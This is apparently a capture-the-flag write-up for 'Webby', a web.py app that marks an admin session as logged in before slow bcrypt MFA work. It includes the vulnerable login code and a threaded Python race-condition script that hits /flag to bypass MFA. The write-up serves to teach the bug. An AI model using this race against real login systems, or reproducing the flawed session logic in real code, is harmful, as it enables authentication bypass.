π¦ Challenge source
π Introduction
Webby is a tiny web.py app with an MFA gate. The intended flow is: valid credentials β MFA page β enter token β see the flag. The implementation introduces a race condition: the server briefly marks you as logged in before computing the costly MFA token and disabling the session, so a concurrent request can slip through to /flag
and bypass MFA entirely.
Context Explanation
- Stack: Python
web.py
,bcrypt
,shelve
-backed sessions (/tmp/session.shelf
). - Auth: static user DB,
admin/admin
requires MFA. - MFA: server stores a per-session
tokenMFA
derived with bcrypt cost 14 and wraps it with an MD5 (heavy/slow by design). - Flag gate:
/flag
checks onlysession.loggedIn
andsession.username == 'admin'
.
Key bits:
# Session + flag
session = web.session.Session(app, web.session.ShelfStore(shelve.open("/tmp/session.shelf")))
FLAG = open("/tmp/flag.txt").read()
Directive
Exploit the race by sending two concurrent requests: (1) POST /
to login as admin
and (2) immediate GET /flag
with the same session cookie while the server is busy generating the MFA token.
π οΈ Solution
1) Credentials and MFA requirement
def check_user_creds(user,pw):
users = {
# Add more users if needed
'user1': 'user1',
'user2': 'user2',
'user3': 'user3',
'user4': 'user4',
'admin': 'admin',
}
try:
return users[user] == pw
except:
return False
def check_mfa(user):
users = {
'user1': False,
'user2': False,
'user3': False,
'user4': False,
'admin': True,
}
try:
return users[user]
except:
return False
2) Vulnerable login flow (TOCTOU)
On successful credentials, the code sets the session to logged in and writes it to disk, then starts MFA setup:
# POST '/' (login)
def POST(self):
f = login_Form()
if not f.validates():
session.kill()
return render.index(f)
i = web.input()
if not check_user_creds(i.username, i.password):
session.kill()
raise web.seeother('/')
else:
session.loggedIn = True
session.username = i.username
session._save()
if check_mfa(session.get("username", None)):
session.doMFA = True
# heavy work
session.tokenMFA = hashlib.md5(bcrypt.hashpw(str(secrets.randbits(random.randint(40,65))).encode(),bcrypt.gensalt(14))).hexdigest()
session.loggedIn = False # <-- flipped back *after* the heavy work
session._save()
raise web.seeother("/mfa")
return render.login(session.get("username",None))
Because bcrypt.gensalt(14)
+ hashpw
is expensive, there is a window where:
session.loggedIn == True
andsession.username == 'admin'
have been saved,- the app is still busy generating
tokenMFA
, - the flip to
loggedIn = False
hasnβt been saved yet.
3) Flag guard (weak)
# GET '/flag'
if not session.get("loggedIn", False) or session.get("username", None) != "admin":
raise web.seeother('/')
return render.flag(FLAG)
No MFA state is checked here - only the session flags. Hit this endpoint during the window and you win.
4) PoC (concurrent requests)
Strategy: fire the login and hammer /flag in parallel until one GET lands during the bcrypt window.
import requests, threading, time
BASE_URL = "http://52.59.124.14:5010"
session = requests.Session()
session.get(BASE_URL + "/")
cookies = dict(session.cookies)
def login_admin():
data = {"username": "admin", "password": "admin", "submit": ""}
requests.post(BASE_URL + "/", data=data, cookies=cookies)
thread = threading.Thread(target=login_admin, daemon=True)
thread.start()
time.sleep(0.02)
end = time.time() + 2
while time.time() < end:
response = requests.get(BASE_URL + "/flag", cookies=cookies)
if response.status_code == 200 and "flag" in response.text.lower():
print(response.text)
break
time.sleep(0.005)
thread.join(timeout=1)
Why it works: The app performs session._save()
with loggedIn=True
before the costly bcrypt step. While bcrypt runs, the same session cookie can be used to request /flag
. The /flag
check passes because it only inspects loggedIn
and username
.
Tips & Tricks
- Look for “set then unset later” patterns: If a privileged bit is set and later cleared (especially around heavy crypto/IO), try racing reads of the privileged endpoint.
- Session stores matter: Disk/shelve-backed sessions + separate requests = classic TOCTOU windows.